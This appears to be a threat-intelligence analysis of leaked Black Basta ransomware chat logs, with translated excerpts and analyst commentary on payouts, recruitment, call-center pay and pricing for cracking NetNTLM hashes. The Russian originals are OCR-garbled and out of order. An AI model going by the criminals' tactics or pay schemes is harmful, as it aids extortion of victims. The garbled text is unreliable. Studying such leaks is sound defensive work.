2023-10-31 10:29:12,
@usernamegg:matrix.bestflowers247.online, Tbl kOraa
HauyMHaelb NOMraTh, yCTaellb CMOTPETb Ha TyNOCTb
WAN NPOCTO HETy BPpEMEHU O6BAHCATL eMY FOBOPULLb
" paBali s caM " 1 H6epelb B paboTy TapreT, Nomras
2023-10-31 10:29:15,
@usernamegg:matrix.bestflowers247.online, a oH
AOJ/KEH CaM AenaTb

2023-10-31 10:29:19,
@usernamegg:matrix.bestflowers247.online, cam cam
cam

2023-10-31 10:29:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernamess:matrix.bestflowers247.online> k
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2023-10-31 10:29:55,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> this is
the real fucked up thing yes this pisses me off, the
count goes by minutes

2023-10-31 10:29:55,
@usernamegg:matrix.bestflowers247.online, that's
why they sit like blind and helpless and wait
2023-10-31 10:30:00,
@usernamegg:matrix.bestflowers247.online, tell them
to do it themselves

2023-10-31 10:30:00,
@usernamess:matrix.bestflowers247.online, and
they're so slow

2023-10-31 10:30:09,
@usernamegg:matrix.bestflowers247.online, ask for
advice, but do it yourself

2023-10-31 10:30:22,
@usernamess:matrix.bestflowers247.online, | struggle
with this in myself)

2023-10-31 10:31:45,
@usernamegg:matrix.bestflowers247.online, |
somehow know 1000% if | start delving deeper into
development now then spam will suffer and there will
be bots, | already got carried away with development
and fucked up several databases because of this, as
they say you need to focus on one thing

2023-10-31 10:31:48,
@usernamegg:matrix.bestflowers247.online, about
NN

2023-10-31 10:31:52,
@usernamegg:matrix.bestflowers247.online, I'll repeat
2023-10-31 10:32:11,
@usernamegg:matrix.bestflowers247.online, don't
listen, his influence is very very bad...

2023-10-31 10:32:43,
@usernamegg:matrix.bestflowers247.online, I'll talk to
him when we meet. he's so negative to the point that
he starts hating them because they're not as brilliant
as heis

2023-10-31 10:33:00,
@usernamegg:matrix.bestflowers247.online, | sat with
them

2023-10-31 10:33:03,
@usernamegg:matrix.bestflowers247.online, and was
really shocked)

2023-10-31 10:33:14,
@usernamegg:matrix.bestflowers247.online, they

MOMOLLY, YTO A TYT N MOXHO 0bpaTnTCa Aa, Tbl He
noMraellb ) Tbl NPOCTO Aenaellb 3a HUX paboTy )
2023-10-31 10:29:41,
@usernamegg:matrix.bestflowers247.online, BoT 370
cambli TO Nu3geLy

2023-10-31 10:29:55,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Bot
3TO CaMblil TO NU3AeL, Aa 3TO MEHA KaJWT, CYET Xe
NAET Ha MUHYTBI

2023-10-31 10:29:55,
@usernamegg:matrix.bestflowers247.online, no atomy
OH Kak c/ierble 1 6e3NoMOLLHbIE CUASAT U XAYT
2023-10-31 10:30:00,
@usernamegg:matrix.bestflowers247.online, a roepwu
Jenan cam

2023-10-31 10:30:00,
@usernamess:matrix.bestflowers247.online, a oHu
Takne MeaNeHHble

2023-10-31 10:30:09,
@usernamegg:matrix.bestflowers247.online, cnpocu
COBET, HO Aenan cam

2023-10-31 10:30:22,
@usernamess:matrix.bestflowers247.online, a 6oprock
B cebe C 3TUM)

2023-10-31 10:31:45,
@usernamegg:matrix.bestflowers247.online, s
noyemy TO 3Hato Ha 1000% ecnum ceryac HauHy
yraybnsatbca B packpyTky To byaeT cTpajaTtb crnam u
byZeT 6OTOB, 51 y>Ke UTaK yBAEKCH PacKpPyTKON v
npoeban Heckonbko 6a3 n3-3a 3TOro, 3TO Kak
rOBPUTCA HAaA0 3aHUMAaTbCA OLHUM AENOM
2023-10-31 10:31:48,
@usernamegg:matrix.bestflowers247.online, Ha cueTt
NN

2023-10-31 10:31:52,
@usernamegg:matrix.bestflowers247.online, s
MOBTOPHOCh

2023-10-31 10:32:11,
@usernamegg:matrix.bestflowers247.online, He
C/yLan , ero BAVUSHNE OYEHb M OYEHb XEPOBOE...
2023-10-31 10:32:43,
@usernamegg:matrix.bestflowers247.online, s
MOroBOPHO C HUM MNP BCTPEYE. OH NPAM HEraTmBUTb
A0 TaKOro UTO OH MX HEHaBUAWUTb HAYMHAET YTO OHW
He Takue reHnasnbHble Kak OH
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shouldn't be getting the kind of money | give them at
all

2023-10-31 10:33:25,
@usernamegg:matrix.bestflowers247.online, ZZ -
does such things well it's fucked up (((

2023-10-31 10:33:28,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> don't
listen, his influence is very very bad... | don't always
agree with him, but sometimes he says sensible
things)))

2023-10-31 10:33:33,
@usernamegg:matrix.bestflowers247.online, for two
years doesn't see what he's launching in Coba
2023-10-31 10:33:39,
@usernamegg:matrix.bestflowers247.online, doesn't
change the filename in the command

2023-10-31 10:33:45,
@usernamegg:matrix.bestflowers247.online, this is
idiocy

2023-10-31 10:33:57,
@usernamegg:matrix.bestflowers247.online, | only
asked him to do two actions and immediately screw-
up after screw-up (

2023-10-31 10:34:05,
@usernamess:matrix.bestflowers247.online, half of it
doesn't reach you))) trust me) | slap them

2023-10-31 10:34:20,
@usernamegg:matrix.bestflowers247.online, | got
heated, but calmly explained, ZZ do you see the error
here?

2023-10-31 10:34:27,
@usernamegg:matrix.bestflowers247.online, me ) who
doesn't work on this )

2023-10-31 10:34:31,
@usernamegg:matrix.bestflowers247.online, who only
watches)

2023-10-31 10:34:47,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> | got
heated, but calmly explained, ZZ do you see the error
here? a week will pass and he'll make the same error
2023-10-31 10:34:51,
@usernamegg:matrix.bestflowers247.online, yes
better to explain

2023-10-31 10:34:57,
@usernamegg:matrix.bestflowers247.online, but once
again

2023-10-31 10:33:00,
@usernamegg:matrix.bestflowers247.online, s
NnocuAen C HAMM

2023-10-31 10:33:03,
@usernamegg:matrix.bestflowers247.online, n
peanbHO axyen )

2023-10-31 10:33:14,
@usernamegg:matrix.bestflowers247.online, oHn
BOOOGLLE He AOMKHbI NOJyYaTb Takme AeHbr Kakue
M Jato

2023-10-31 10:33:25,
@usernamegg:matrix.bestflowers247.online, ZZ -
Takoe TBOpUT Hy nu3ged, (((

2023-10-31 10:33:28,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> He
C/lyLlal , ero BAUSHNE OYEHb N OYEHb XEPOBOE... Al HE
BCerga C HMUM COrnaceH, HO MHOTAa OH rOBOPUT

34 paBoMbIC/IsLLINE BeLLW)))

2023-10-31 10:33:33,
@usernamegg:matrix.bestflowers247.online, 3a gBa
rosa He BMAET YTO 3anyckaeT B kobe

2023-10-31 10:33:39,
@usernamegg:matrix.bestflowers247.online,
Ha3BaHue B KOMaHgae daiina He MeHseT
2023-10-31 10:33:45,
@usernamegg:matrix.bestflowers247.online, 3to
Aonboebunsm

2023-10-31 10:33:57,
@usernamegg:matrix.bestflowers247.online, 370
TONbKO MOMPOCUA CAenath ABa AENCTBUS U Cpasy
KOCAK Ha KocskKe (

2023-10-31 10:34:05,
@usernamess:matrix.bestflowers247.online, Tyt
NnoJsoBMHa A0 Tebs He AOXOAMNT))) NOBEPbL MHE) i UM
Jato netien

2023-10-31 10:34:20,
@usernamegg:matrix.bestflowers247.online, s
NOAropes, HO CNOKOMHO 06bsICHUA , ZZ Tae TyT
ownbka BUAVLbL?

2023-10-31 10:34:27,
@usernamegg:matrix.bestflowers247.online, 51)
KOTOPbIN HE KPYTUT )

2023-10-31 10:34:31,
@usernamegg:matrix.bestflowers247.online, koTopbIii
TOJIbKO CMOTPMUT )

2023-10-31 10:34:47,
@usernamess:matrix.bestflowers247.online, >
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2023-10-31 10:35:02,
@usernamegg:matrix.bestflowers247.online, we have
a strong team there

2023-10-31 10:35:10,
@usernamegg:matrix.bestflowers247.online, we've
been playing at world level for a long time
2023-10-31 10:35:14,
@usernamegg:matrix.bestflowers247.online, there are
our own fuck-ups

2023-10-31 10:35:20,
@usernamegg:matrix.bestflowers247.online, like with
launching files )))))))

2023-10-31 10:35:24,
@usernamegg:matrix.bestflowers247.online, they
don't know how and don't understand

2023-10-31 10:35:32,
@usernamegg:matrix.bestflowers247.online, | had a
lot of this myself

2023-10-31 10:35:37,
@usernamegg:matrix.bestflowers247.online, | didn't
know how to launch

2023-10-31 10:35:41,
@usernamegg:matrix.bestflowers247.online,
sometimes | also get stuck

2023-10-31 10:35:52,
@usernamegg:matrix.bestflowers247.online, but |
learn and remember and write it down

2023-10-31 10:35:59,
@usernamegg:matrix.bestflowers247.online, we're all
learning

<@usernamegg:matrix.bestflowers247.online> s
nogropesn, HO CMOKOWHO 06bACHUA , ZZ rae TyT
olwmnbka BUAMLLB? BOT NPOMAET HEAENA U OH CAenaeTt
Ty >e ownbky

2023-10-31 10:34:51,
@usernamegg:matrix.bestflowers247.online, aa
Nnyylie o6BbACHATbL

2023-10-31 10:34:57,
@usernamegg:matrix.bestflowers247.online, Ho eLe
pas

2023-10-31 10:35:02,
@usernamegg:matrix.bestflowers247.online, y Hac
TaMm cubHas KOMaHAa

2023-10-31 10:35:10,
@usernamegg:matrix.bestflowers247.online, mbl
nrpaem y>e Ha MMPOBOM YPOBHE AaBHO

2023-10-31 10:35:14,
@usernamegg:matrix.bestflowers247.online, ectb
CBOW Nu3aeLbl

2023-10-31 10:35:20,
@usernamegg:matrix.bestflowers247.online, kak BoT €
3anyckom danos )))))))

2023-10-31 10:35:24,
@usernamegg:matrix.bestflowers247.online, oHn He
YMeT 1 He NOHUMato

2023-10-31 10:35:32,
@usernamegg:matrix.bestflowers247.online, y meHs y
CamMoro Takoro Aoxys 6b110

2023-10-31 10:35:37,
@usernamegg:matrix.bestflowers247.online, s He
yCcMen He 3Han Kak 3anyckaTb

2023-10-31 10:35:41,
@usernamegg:matrix.bestflowers247.online, nHoraa
TOXEe BMMparoChb

2023-10-31 10:35:52,
@usernamegg:matrix.bestflowers247.online, Ho yuycb
1 3aNMOMWHaI0 W 3anmncbiBaro

2023-10-31 10:35:59,
@usernamegg:matrix.bestflowers247.online, Mmbl Bce
yummcs

This conversation reveals intersecting dynamics of member development, responsibility distribution, and

organizational maturation mixed with frustration within Black Basta. While gg strongly demands technical

independence, he criticizes habitual hand-holding support creating strengthened dependencies. ss also

confesses the dilemma of "helping because others rely on me," clarifying problems where support-independence

balance has deteriorated.
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Power Struggles and Conflicts during Absences

Translated

2024-04-19 10:39:37,
@usernamegg:matrix.bestflowers247.online, well with
us there's downtime he sleeps I'm not in the office |
was spinning all the rest of you in one place
2024-04-19 10:39:40,
@usernamegg:matrix.bestflowers247.online, they told
him once

2024-04-19 10:39:42,
@usernamegg:matrix.bestflowers247.online, told him
twice

2024-04-19 10:39:52,
@usernamegg:matrix.bestflowers247.online, told him
three times then someone wanted to punch his face
2024-04-19 10:39:55,
@usernamegg:matrix.bestflowers247.online, | stood
up for him

2024-04-19 10:40:06,
@usernamegg:matrix.bestflowers247.online, then sent
the one who wanted to punch his face to rest at
home for a couple of months

2024-04-19 10:40:13,
@usernamegg:matrix.bestflowers247.online, then
everything seemed to normalize

2024-04-19 10:40:15,
@usernamegg:matrix.bestflowers247.online, brought
him back

2024-04-19 10:40:21,
@usernamegg:matrix.bestflowers247.online,
everything's ok relationships improved

2024-04-19 10:40:33,
@usernamegg:matrix.bestflowers247.online, then the
situation repeated

2024-04-19 10:40:52,
@usernamegg:matrix.bestflowers247.online, as soon
as | leave for a couple of days to the second office or
to mg's office

2024-04-19 10:41:02,
@usernamegg:matrix.bestflowers247.online, mainly
it's fucked up they're all gods dividing power )
2024-04-19 10:41:08,
@usernamegg:matrix.bestflowers247.online, when |
come back they're silent like mice

Original Text

2024-04-19 10:39:37,
@usernamegg:matrix.bestflowers247.online, Hy y Hac
NpOCTaHOBa OH CMUT MeHsA HeT B oduce 5 Bac BCex
OCTa/IbHbIX Ha OAHOM MecTe KpyTuA

2024-04-19 10:39:40,
@usernamegg:matrix.bestflowers247.online, emy pas
ckasanu

2024-04-19 10:39:42,
@usernamegg:matrix.bestflowers247.online, aBa
cKkasanu

2024-04-19 10:39:52,
@usernamegg:matrix.bestflowers247.online, Tpu
CKa3anun NoToM KTO TO xoTen eMy ebano Habutb
2024-04-19 10:39:55,
@usernamegg:matrix.bestflowers247.online, s
BCTYNUACS

2024-04-19 10:40:06,
@usernamegg:matrix.bestflowers247.online, notom
OoTnpaBwWa TOro KTo xoTesn ebano HabuTb OTbIAXaTb Ha
napy mMecsiLieB 4OMOM

2024-04-19 10:40:13,
@usernamegg:matrix.bestflowers247.online, notom
BpPOZe BCe HOPMaan30BanocCh

2024-04-19 10:40:15,
@usernamegg:matrix.bestflowers247.online, BepHyn
2024-04-19 10:40:21,
@usernamegg:matrix.bestflowers247.online, Bce ok
OTHOLLEHWS HaNaANANCh

2024-04-19 10:40:33,
@usernamegg:matrix.bestflowers247.online, notom
CUTyaums NOBTOPUNALC

2024-04-19 10:40:52,
@usernamegg:matrix.bestflowers247.online, ctout
yexaTb Ha npay AHel BO BTOPOM OpUC UAN K MF B
oduc

2024-04-19 10:41:02,
@usernamegg:matrix.bestflowers247.online, B
OCHOBHOM MK3JeL, OHW BCe H6Orv BAacTb Jenar)
2024-04-19 10:41:08,
@usernamegg:matrix.bestflowers247.online, npuxoxy
KaK MbILLX MOnYaT

This conversation reveals interpersonal tensions and conflicts in Black Basta's office environment, with gg

attempting to suppress them. He recalls how specific members' absence or negligence triggered others'
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dissatisfaction, escalating nearly to confrontation. Physical confrontations highlight organizational management

fragility and high emotional impulsivity.

Expressions like "playing god in power struggles" and

"becoming quiet as mice when | return” reveal power

conflicts erupting during leadership absence, while gg maintains order through strong control.

Mutual Consideration among Members

Conversation Reflecting an Attitude of Fairly Evaluating Contributions

Translated

2024-06-17 14:26:54,
@usernameugway:matrix.bestflowers247.online, I've
been working here for 2 years, working normally)
2024-06-17 14:27:03,
@usernameugway:matrix.bestflowers247.online,
overall we'll do as you say

2024-06-17 14:27:20,
@usernameugway:matrix.bestflowers247.online, if
you need anything else done - just say

2024-06-17 14:28:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
can't we leave it as originally agreed? yes, I'm ready
to give more, it will be a bit later when there's
volume.

2024-06-17 14:29:25,
@usernamegg:matrix.bestflowers247.online, need to
set all this up still. | would say this is beta testing
anyway.

2024-06-17 14:30:05,
@usernamegg:matrix.bestflowers247.online, * | no
longer doubt that there will be targets who will pay
from these calls! although you can't count your
chickens before they hatch, but you need to discuss
it in advance. | discussed this with my guys now. You
will receive from 15 to 22.5% for your work, the
initial stage is 15%. why the conditions are cut now,
it's because the topic was fully explained to you by
me and all expenses and all investments are on us.
well even with a payout of 1,000,000 - 15% =
$150,000 at the initial stage.

2024-06-17 14:30:43,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> yes,
I'm ready to give more, it will be a bit later when
there's volume. this also doesn't depend on me
alone. there are people to discuss this with.

Original Text

2024-06-17 14:26:54,
@usernameugway:matrix.bestflowers247.online, ebycb
TYT 2 roga, pabotaro HOpMasibHO)

2024-06-17 14:27:03,
@usernameugway:matrix.bestflowers247.online, B
LlesIoM CAeNnaeM Kak CKaxkellb

2024-06-17 14:27:20,
@usernameugway:matrix.bestflowers247.online, ecan
HY>XHO UTO-TO eLlle AenaTtb - FOBOpw

2024-06-17 14:28:36,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online> a
He/lb3A OCTaBWUTb Kak M3HayalbHO JOroBapMBannCh?
Ja, 1 ToTOB AaBaTb H6osiblle, OyaeT uyTb NO3Xe Korga
byneT obbem.

2024-06-17 14:29:25,
@usernamegg:matrix.bestflowers247.online, HanaanTb
Hajo BCe 3TO ele. A 6bl BCE PaBHO CKa3a YTo 3TO
beTaTecTMpoOBaHue.

2024-06-17 14:30:05,
@usernamegg:matrix.bestflowers247.online, * s yxe He
COMHEeBatoCb YTO ByayT TapreTbl KOTOPbIe 3anaaTAT C
3TUX 3BOHKOB! XOTb M He/b3A AeNUTb LUKYPY He
ybuToro mezaBeAs HO HaZo 3apaHee 0H6roBoOpPUTH.
ceyac obcyamn 31o co cBomMu pebsatamu. Tol Byaelub
noJsiyyaTb 3a cBOt0 paboty o1 15 g0 22,5% , HauanbHbIW
3TaM 310 15%. Nnouemy certyac ycnoBmsa ypesaHsbl, 37O
“3-3a TOro 4YTo TeMy Tebe pacckasv NOSHOCTLIO A U
BCE PacXOAbl M BCE MHBECTULIMM Ha HaC. Hy Jaxe npw
Bbinnate 1,000,000 - 15% = $150,000 Ha HayasbHOM
JTane.

2024-06-17 14:30:43,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> za, s
rotoB gaBaTtb 6oAblue, ByaeT UyTb No3xe Korga byaer
06beM. TYT TOXKe He OT MeHA OHOrO 3aBUCUT BCe. eCTb
C Kem 310 06cy>KaaTb.
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2024-06-17 14:31:07,
@usernameugway:matrix.bestflowers247.online,
understood. well | can set everything up and control
it without problems

2024-06-17 14:31:11,
@usernamegg:matrix.bestflowers247.online, I'll push
it through but we need to create volume
2024-06-17 14:31:33,
@usernamegg:matrix.bestflowers247.online, yes,
you're doing great. everything will work out, I'm glad
you joined right on time. everything will be fine.
2024-06-17 14:31:41,
@usernamegg:matrix.bestflowers247.online, the
main thing is | believe in this now.

2024-06-17 14:31:47,
@usernamegg:matrix.bestflowers247.online, topped
up the balance for flooding

2024-06-17 14:32:47,
@usernameugway:matrix.bestflowers247.online,
there are more good ideas - you'll appreciate them.
overall | understand everything much better now..
2024-06-17 14:32:51,
@usernameugway:matrix.bestflowers247.online, we'll
create volume

2024-06-17 14:34:36,
@usernamegg:matrix.bestflowers247.online, good,
let's go, I'll invest until you can at least partially
sustain all this yourself, then we'll split some
expenses. when you can partner financially.
2024-06-17 14:35:52,
@usernameugway:matrix.bestflowers247.online,
good, well my expenses are essentially just the
office. everything else you're already covering now
2024-06-17 14:37:16,
@usernamegg:matrix.bestflowers247.online, if you
can't handle the office I'll help

2024-06-17 14:40:57,
@usernameugway:matrix.bestflowers247.online,
thanks, hopefully we'll sort everything out with the
payouts

2024-06-17 14:31:07,
@usernameugway:matrix.bestflowers247.online,
MOHAN. HY f§ MOTY BCE€ HaCTPOUTb U KOHTPOAUTb 6e3
npobnem

2024-06-17 14:31:11,
@usernamegg:matrix.bestflowers247.online, s
NpoAasato HO Hago obbeM caenatb

2024-06-17 14:31:33,
@usernamegg:matrix.bestflowers247.online, aa, ol
MonogeL,. Bce ByaeT, A paj UTo Tbl Hy NPAM BOBPeMS
noaKkaoumnaCs. Bce byaer.

2024-06-17 14:31:41,
@usernamegg:matrix.bestflowers247.online, s rnaBHoe
BEpto cenyac B 3T0.

2024-06-17 14:31:47,
@usernamegg:matrix.bestflowers247.online, ana dnypa
6anaHc NONoAHUA

2024-06-17 14:32:47,
@usernameugway:matrix.bestflowers247.online, ectb
eLle naev HopmasbHble - Tbl OLEHWLLb. B LIEJIOM 51 y>Ke
ropaszo ayulle Bce NOHUMato..

2024-06-17 14:32:51,
@usernameugway:matrix.bestflowers247.online, o6bem
caenaem

2024-06-17 14:34:36,
@usernamegg:matrix.bestflowers247.online, xopowo ,
norHanv , 8 6ysy BKAaZbIBaTbCA MOKa Tbl HE MOXeELLb
BCe 3TO CaM XOTA Obl YaCTUYHO COAEepPXKaTb, MOTOM
Kakue TO pacxoAbl OyAem AenunTb. Korga CMOXellb
napTHepuTbCA GMHAHCOBO.

2024-06-17 14:35:52,
@usernameugway:matrix.bestflowers247.online,
XOPOLLO, HY Y MEHS MO CYTU PacxoAbl TONbKO Ha oducC.
OCTa/bHOE Thl 3aKpblBaellb cenyac yxe

2024-06-17 14:37:16,
@usernamegg:matrix.bestflowers247.online, ecnn
oduC He BbIBO3MLLb A MOMOTY

2024-06-17 14:40:57,
@usernameugway:matrix.bestflowers247.online,
cnacnbo, HazetChb BCe pa3pyanM C Bbinaat

This conversation characteristically shows gg clearly evaluating members' work performance and attitudes. The

leader expresses gratitude and trust for ugway's contributions while demonstrating support based on future

collaboration. This reveals merit-based management where abilities and attitudes influence compensation and

treatment. The exchange illustrates how accumulated trust and achievements directly shape team roles and

positions.
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Expressions of Gratitude and Praise for Technical Contributions

Translated

2024-06-11 17:45:10,
@usernamegg:matrix.bestflowers247.online, yes, I'm
grateful for your software and bow low

2024-06-11 17:45:22,
@usernamegg:matrix.bestflowers247.online,
wonderful software

Original Text

2024-06-11 17:45:10,
@usernamegg:matrix.bestflowers247.online, aa,
6narogapeH TBoeMy COPTY U HU3KNI MOKAOH
2024-06-11 17:45:22,
@usernamegg:matrix.bestflowers247.online,
3amMeyaTtenbHbI CopT

This conversation shows gg expressing frank gratitude and praise for tools created by a member. Through high

evaluation of work products, it suggests the existence of a culture of respectful treatment toward capable

members.

Conversation on Recruiting Highly Skilled Talent into the Team

Translated

2024-03-07 13:25:55,
@n3auxaxl:matrix.collectionofmanager.space, | always
have local infrastructure up on my server for tests, so
it doesn't stick out into the internet

2024-03-07 13:26:04,
@n3auxaxl:matrix.collectionofmanager.space, +
firewall, which blocks all connects

2024-03-07 13:26:14,
@n3auxaxl:matrix.collectionofmanager.space, only
what | allow will pass through

2024-03-07 13:26:18,
@usernamegg:matrix.bestflowers247.online, | really
like your approach

2024-03-07 13:26:35,
@usernamegg:matrix.bestflowers247.online, that's
why | entrusted you with this task you should handle
it

2024-03-07 13:26:52,
@n3auxaxl:matrix.collectionofmanager.space, security
above all, when not in RU or UA)

2024-03-07 13:27:18,
@n3auxaxl:matrix.collectionofmanager.space, and in
UA now they're also stirring up trouble because
cooperation is already in full swing

2024-03-07 13:27:30,
@n3auxaxl:matrix.collectionofmanager.space, Inter,
FBI databases have merged with UA

[omitted]

2024-03-07 13:28:16,
@usernamegg:matrix.bestflowers247.online, come to
me. I'm waiting for you. I'll help with housing and so

Original Text

2024-03-07 13:25:55,
@n3auxaxl:matrix.collectionofmanager.space, y meHs
Ha cepBake JiokasbHas nHbpa Bcerga NoAHATa AN
TecToB, YTOObI B MHET He TopYana

2024-03-07 13:26:04,
@n3auxaxl:matrix.collectionofmanager.space, +
firewall, koTOpbI 6AOYNT BCE KOHHEKTBI

2024-03-07 13:26:14,
@n3auxaxl:matrix.collectionofmanager.space, Tonbko
yTO paspelly byze TNpPoOMNyckaTb

2024-03-07 13:26:18,
@usernamegg:matrix.bestflowers247.online, oueHb
HPaBUTbCA MHE TBOW NOAXOS,

2024-03-07 13:26:35,
@usernamegg:matrix.bestflowers247.online, no stomy
n poBepwn Tebe 3Ty 3agauyy Tbl JOKEH CMPABUTCA
2024-03-07 13:26:52,
@n3auxaxl:matrix.collectionofmanager.space,
6e30MacHOCTb NpeBbILLE BCErO, KOTAA He B py WK ya )
2024-03-07 13:27:18,
@n3auxaxl:matrix.collectionofmanager.space, Ta n B
ya Lac KMNuLLb TOXe HaBOAAT MO0 COTPYAHMNYECTBO
y>Xe MOJIHbIM XOA0M

2024-03-07 13:27:30,
@n3auxaxl:matrix.collectionofmanager.space, nHtep,
bbbl 6azbl € ya obbeseHAN

[omitted]

2024-03-07 13:28:16,
@usernamegg:matrix.bestflowers247.online,
npuesxan Ko MHe. 1 Tebs Xay. MOMOry € XUNbeM U T4
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on
2024-03-07 13:28:44,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> come
to me. I'm waiting for you. I'll help with housing and
so on yes, I'm thinking about it)

2024-03-07 13:28:31,
@usernamegg:matrix.bestflowers247.online, you'll
only strengthen us

2024-03-07 13:28:57,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> you'll
only strengthen us that's true

2024-03-07 13:28:53,
@usernamegg:matrix.bestflowers247.online, you'll
work from home

2024-03-07 13:29:09,
@usernamegg:matrix.bestflowers247.online, maybe
later when you decide I'll bring you to the office
2024-03-07 13:29:17,
@usernamegg:matrix.bestflowers247.online, but for
now you'll do everything from home and set up your
life

2024-03-07 13:29:25,
@usernamegg:matrix.bestflowers247.online, I'll help
with documents

2024-03-07 13:29:30,
@usernamegg:matrix.bestflowers247.online, we'll
arrange housing

2024-03-07 13:28:44,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online>
npvesxawn Ko MHe. A Teba Xay. NOMOry € XXWUAbeM U T4
Aa, BOT AyMato y>e)

2024-03-07 13:28:31,
@usernamegg:matrix.bestflowers247.online, Tbl Hac
TONbKO YCUMAVLLb

2024-03-07 13:28:57,
@n3auxaxl:matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> Tbl Hac
TONbKO YCUAWLLb 3TO Aa

2024-03-07 13:28:53,
@usernamegg:matrix.bestflowers247.online, 6yaewb
paboTtaTtb goMa

2024-03-07 13:29:09,
@usernamegg:matrix.bestflowers247.online, moxet
6bITb MOTOM KOTAa peLumLbes s Tebs 3aTaHy B oduc
2024-03-07 13:29:17,
@usernamegg:matrix.bestflowers247.online, Ho noka
AoMa Byaellb BCe Aenatb W BbIT HanaxXmneaTb
2024-03-07 13:29:25,
@usernamegg:matrix.bestflowers247.online, c
AOKYMEHTaMu Nomory

2024-03-07 13:29:30,
@usernamegg:matrix.bestflowers247.online, xunbe
caenaem

This conversation shows gg expressing strong trust and appreciation for technical personnel's security awareness

and infrastructure operational caution, actively proposing team participation. He specifically endorses local

environment testing and firewall configurations while offering support for living arrangements and

documentation, clearly demonstrating willingness to welcome highly skilled individuals. These actions reveal
intentions to strengthen organizational competitiveness by attracting capable talent.
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Conversation on Consensus-Building over Performance-Based Compensation #1

Translated

2024-06-12 14:01:16,
@usernameugway:matrix.bestflowers247.online, you
need to be here to approve everything
2024-06-12 14:01:17,
@usernameugway:matrix.bestflowers247.online,
image.png

2024-06-12 14:01:55,
@usernameugway:matrix.bestflowers247.online,
Let's start with $15 for any successful call. Plus we
need a reward for success, for motivation
2024-06-12 14:02:06,
@usernamegg:matrix.bestflowers247.online, |
understood about blood

2024-06-12 14:02:39,
@usernamegg:matrix.bestflowers247.online, let's
start no problem with 15

2024-06-12 14:03:24,
@usernameugway:matrix.bestflowers247.online,
shall we assign some bonus for installation/vpn?
2024-06-12 14:04:03,
@usernameugway:matrix.bestflowers247.online, 15
is fair conditions.. some here ask for 250)

Original Text

2024-06-12 14:01:16,
@usernameugway:matrix.bestflowers247.online, Tyt
HY>XEH Tbl UTOObI BCE YTBEPAUTD

2024-06-12 14:01:17,
@usernameugway:matrix.bestflowers247.online,
image.png

2024-06-12 14:01:55,
@usernameugway:matrix.bestflowers247.online,
[aBaiite HauHem ¢ 15% 3a nr0601 403BOH. MAKOC HYXKHO
BO3HarpaxzeHue 3a ycnex, 13 MoTUBaLuu
2024-06-12 14:02:06,
@usernamegg:matrix.bestflowers247.online, s noHsn
Npo KPOBb

2024-06-12 14:02:39,
@usernamegg:matrix.bestflowers247.online, gaBan
HauHeM 6e3 npobsem c 15

2024-06-12 14:03:24,
@usernameugway:matrix.bestflowers247.online, 6oHyc
KakKoW-TO Ha3HauMM 3a yCTaHOBKY/BMH?

2024-06-12 14:04:03,
@usernameugway:matrix.bestflowers247.online, 15
TaK-TO aZleKBaTHble YCNOBUSA.. TYT HEKOTPObIe NPOCAT
250)

This conversation demonstrates compensation system adjustments and approval processes for call handling
within Black Basta. ugway proposes performance-based rewards and bonuses beyond base compensation, with
gg agreeing immediately, revealing consensus formation around incentive design prioritized through flexible
internal discretion. Comparisons with external parties demanding excessive compensation also indicate balanced

approaches between cost consciousness and internal control.
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Conversation on Consensus-Building over Performance-Based Compensation #2

Translated

2024-02-29 15:10:07,
@usernameboy:matrix.bestflowers247.online, need to
agree on the price for this type of hash netntim >ntlm
2024-02-29 15:11:21,
@usernamegg:matrix.bestflowers247.online, dp
2024-02-29 15:11:23,
@usernamegg:matrix.bestflowers247.online, let's do it
2024-02-29 15:11:28,
@usernamegg:matrix.bestflowers247.online, what
price?

2024-02-29 15:11:47,
@usernameboy:matrix.bestflowers247.online, | think
300

2024-02-29 15:11:57,
@usernameboy:matrix.bestflowers247.online, it needs
full brute force

2024-02-29 15:12:33,
@usernameboy:matrix.bestflowers247.online, 100
each for 3

2024-02-29 15:13:52,
@usernamegg:matrix.bestflowers247.online, good
2024-02-29 15:13:54,
@usernamegg:matrix.bestflowers247.onlineg, let's do it
2024-02-29 15:14:02,
@usernamegg:matrix.bestflowers247.online, let's try
starting with 300

2024-02-29 15:27:15,
@usernamegg:matrix.bestflowers247.online, well do
you understand how to decrypt them?

2024-02-29 15:27:23,
@usernameboy:matrix.bestflowers247.online, Yes |
know

2024-02-29 15:27:32,

@usernameboy:matrix.bestflowers247.online, this isn't

the first time I'm looking for this kind

Original Text

2024-02-29 15:10:07,
@usernameboy:matrix.bestflowers247.online, Hago
[LOTOBOPUTCSA Ha CYET LieHbl 3a 3TOT TMN xelwa netntlm
>ntlm

2024-02-29 15:11:21,
@usernamegg:matrix.bestflowers247.online, an
2024-02-29 15:11:23,
@usernamegg:matrix.bestflowers247.online, paBai
2024-02-29 15:11:28,
@usernamegg:matrix.bestflowers247.online, kakas
ueHa?

2024-02-29 15:11:47,
@usernameboy:matrix.bestflowers247.online, s
aymato 300

2024-02-29 15:11:57,
@usernameboy:matrix.bestflowers247.online, Tam
HY>XEH MOAHbIV BpyT

2024-02-29 15:12:33,
@usernameboy:matrix.bestflowers247.online, no 100
Ha 3

2024-02-29 15:13:52,
@usernamegg:matrix.bestflowers247.online, xopowo
2024-02-29 15:13:54,
@usernamegg:matrix.bestflowers247.online, paBal
2024-02-29 15:14:02,
@usernamegg:matrix.bestflowers247.online, 300
nonpobyem cTapTaHyTb

2024-02-29 15:27:15,
@usernamegg:matrix.bestflowers247.online, Hy Tbl
